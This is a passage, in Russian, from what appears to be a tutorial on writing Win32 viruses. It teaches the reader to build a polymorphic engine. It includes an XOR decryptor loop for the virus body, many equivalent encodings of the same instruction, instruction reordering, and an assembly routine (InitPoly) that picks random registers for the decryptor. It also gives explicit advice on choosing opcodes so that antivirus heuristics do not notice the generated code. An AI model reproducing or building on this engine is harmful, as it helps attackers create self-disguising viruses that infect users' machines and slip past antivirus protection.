Путеводитель по написанию вирусов под Win32

         

Генерация "настоящего" кода


Давайте взглянем на наш набор инструкций.

mov ecx,virus_size ; (1) lea edi,crypt ; (2) mov eax,crypt_key ; (3) @@1: xor dword ptr [edi],eax ; (4) add edi,4 ; (5) loop @@1 ; (6)

Чтобы выполнить то же самое действие, но с помощью другого кода, можно сделать много разных вещей, и это является нашей целью. Например, первые три инструкции можно сгруппировать другим способом с тем же результатом, поэтому вы можете создать функцию для рандомизации их порядка. И мы можем использовать любой набор регистров без особых проблем. И мы можем использовать вместо loop dec/jnz... И так далее, и так далее...

- Ваш код должен уметь генерировать, например, что-то вроде следующего для выполнения одной простой инструкции. Давайте подумаем насчет первого mov:

mov ecx,virus_size

или

push virus_size pop ecx

или

mov ecx,not (virus_size) not ecx

или

mov ecx,(virus_size xor 12345678h) xor ecx,12345678h

и так далее, и так далее...

Все это будет генерироваться с помощью разных опкодов, но будет выполнять одну и ту же работу, а именно - помещать в ECX размер вируса. Конечно, здесь есть миллиард возможностей, потому вы можете использовать огромное количество инструкций для помещения инструкции в регистр. Это требует большого воображения с вашей стороны.

- Другое, что можно сделать - это изменить порядок инструкций. Как я уже сказал раньше, вы можете это сделать без особых проблем, потому что порядок для них не играет роли. Поэтому, вместо набора инструкций 1,2,3 мы легко можем сделать 3,1,2 или 1,3,2 и т.д. Просто дайте волю вашему воображению.

- Также очень важно делать обмен регистров, так как тогда опкоды тоже могут меняться (например, 'MOV EAX, imm32' кодируется как 'B8 imm32', а 'MOV ECX, imm32' кодируется как 'B9 imm32'). Вам следует использовать 3 регистра для декриптора из 7, которые мы можем использовать (никогда не используйте ESP!!!). Например, представьте, что выбрали (случайно) 3 регистра. EDI в качестве базового указателя, EBX в качестве ключа, а ESI - в качестве счетчика; тогда мы можем использовать EAX, ECX, EDX и EBP в качестве мусорных регистров для генерации мусорных инструкций. Давайте посмотрим пример кода, в котором выбираются 3 регистра для генерации нашего декриптора:


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= InitPoly proc

@@1: mov eax,8 ; Получить случайный регистр call r_range ; EAX := [0..7]

cmp eax,4 ; Это ESP? jz @@1 ; Если да, получаем другой

mov byte ptr [ebp+base],al ; Сохраняем его mov ebx,eax ; EBX = базовый регистр

@@2: mov eax,8 ; Получаем случайный регистр call r_range ; EAX := [0..7]

cmp eax,4 ; Это ESP? jz @@2 ; Если да, получаем другой

cmp eax,ebx ; Равен базовому указателю? jz @@2 ; Если да, получаем другой

mov byte ptr [ebp+count],al ; Сохраняем его mov ecx,eax ; ECX = Регистр-счетчик

@@3: mov eax,8 ; Получаем случайный регистр call r_range ; EAX := [0..7]

cmp eax,4 ; Это ESP? jz @@3 ; Если да, получаем другой

cmp eax,ebx ; Равен регистру базового указ.? jz @@3 ; Если да, получаем другой

cmp eax,ecx ; Равен регистру-счетчику? jz @@3 ; Если да, получаем другой

mov byte ptr [ebp+key],al ; Сохраняем его

ret

InitPoly endp -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Теперь у вас в трех переменных три разных регистра, которые мы можем использовать без особых проблем. С регистром EAX у нас возникнет проблема, не очень большая, но тем не менее. Как вы знаете, некоторые инструкции имеют оптимизированный опкод для работы с этим регистром. Если же вместо этих опкодов использовать обычные, антиэвристик заметит, что инструкция была построена "неправильным" путем, как бы никогда не сделал "настоящий" ассемблер. У вас есть два выхода: если вы все еще хотите использовать EAX в качестве одного из "активных" регистров в вашем код, вам следует учитывать этот момент и генерировать соответствующие опкоды. Либо вы можете просто избегать использования EAX в качестве одного из регистров, используемых в декрипторе, а использовать его только при генерации мусора, применяя оптимизированные опкоды (прекрасным выбором будет построение соответствующей таблицы). Мы рассмотрим это позже. Для игр с мусором я рекомендую использовать маску регистров.


Содержание раздела